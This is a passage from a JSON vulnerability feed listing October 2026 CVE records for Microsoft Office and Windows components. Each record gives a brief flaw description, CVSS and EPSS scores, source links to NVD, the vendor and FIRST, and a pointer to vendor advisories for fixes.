1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83869","asOf":"2026-10-16T16:21:40.227Z"},"epss":{"probability":0.00819,"percentile":0.56909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83869","type":"primary","publishedAt":"2026-10-13T19:20:36.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83869","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70300","cveId":"CVE-2026-70300","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:50.007Z","updatedAt":"2026-10-14T20:14:43.740Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70300","asOf":"2026-10-14T20:14:43.740Z"},"epss":{"probability":0.01128,"percentile":0.66134,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70300","type":"primary","publishedAt":"2026-10-13T19:19:50.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70300","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70291","cveId":"CVE-2026-70291","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:48.817Z","updatedAt":"2026-10-15T21:17:46.443Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70291","asOf":"2026-10-15T21:17:46.443Z"},"epss":{"probability":0.01329,"percentile":0.70823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70291","type":"primary","publishedAt":"2026-10-13T19:19:48.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70291","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70242","cveId":"CVE-2026-70242","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:40.990Z","updatedAt":"2026-10-15T16:19:49.843Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70242","asOf":"2026-10-15T16:19:49.843Z"},"epss":{"probability":0.01569,"percentile":0.75166,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70242","type":"primary","publishedAt":"2026-10-13T19:19:40.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70242","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70024","cveId":"CVE-2026-70024","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:13.487Z","updatedAt":"2026-10-16T19:11:29.077Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70024","asOf":"2026-10-16T19:11:29.077Z"},"epss":{"probability":0.00958,"percentile":0.61229,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70024","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70024","type":"primary","publishedAt":"2026-10-13T19:19:13.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70024","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69886","cveId":"CVE-2026-69886","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:01.503Z","updatedAt":"2026-10-16T17:55:18.460Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69886","asOf":"2026-10-16T17:55:18.460Z"},"epss":{"probability":0.00949,"percentile":0.60974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69886","type":"primary","publishedAt":"2026-10-13T19:19:01.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69886","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69883","cveId":"CVE-2026-69883","aliases":[],"kind":"vulnerability","title":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:01.150Z","updatedAt":"2026-10-19T13:18:35.490Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69883","asOf":"2026-10-19T13:18:35.490Z"},"epss":{"probability":0.00949,"percentile":0.60975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69883","type":"primary","publishedAt":"2026-10-13T19:19:01.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69883","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69639","cveId":"CVE-2026-69639","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:56.713Z","updatedAt":"2026-10-26T16:33:30.447Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69639","asOf":"2026-10-26T16:33:30.447Z"},"epss":{"probability":0.0097,"percentile":0.61644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69639","type":"primary","publishedAt":"2026-10-13T19:18:56.713Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69639","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69634","cveId":"CVE-2026-69634","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:56.343Z","updatedAt":"2026-10-26T16:34:14.707Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69634","asOf":"2026-10-26T16:34:14.707Z"},"epss":{"probability":0.0097,"percentile":0.61644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69634","type":"primary","publishedAt":"2026-10-13T19:18:56.343Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69634","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105010","cveId":"CVE-2026-105010","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.","summary":"Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.","detail":"Use after free in Microsoft Windows Search Component allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:57.433Z","updatedAt":"2026-10-26T15:30:09.657Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105010","asOf":"2026-10-26T15:30:09.657Z"},"epss":{"probability":0.01011,"percentile":0.62911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105010","type":"primary","publishedAt":"2026-10-13T19:17:57.433Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105010","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102210","cveId":"CVE-2026-102210","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:46.520Z","updatedAt":"2026-10-20T18:18:23.497Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102210","asOf":"2026-10-20T18:18:23.497Z"},"epss":{"probability":0.00989,"percentile":0.62253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102210","type":"primary","publishedAt":"2026-10-13T19:17:46.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, 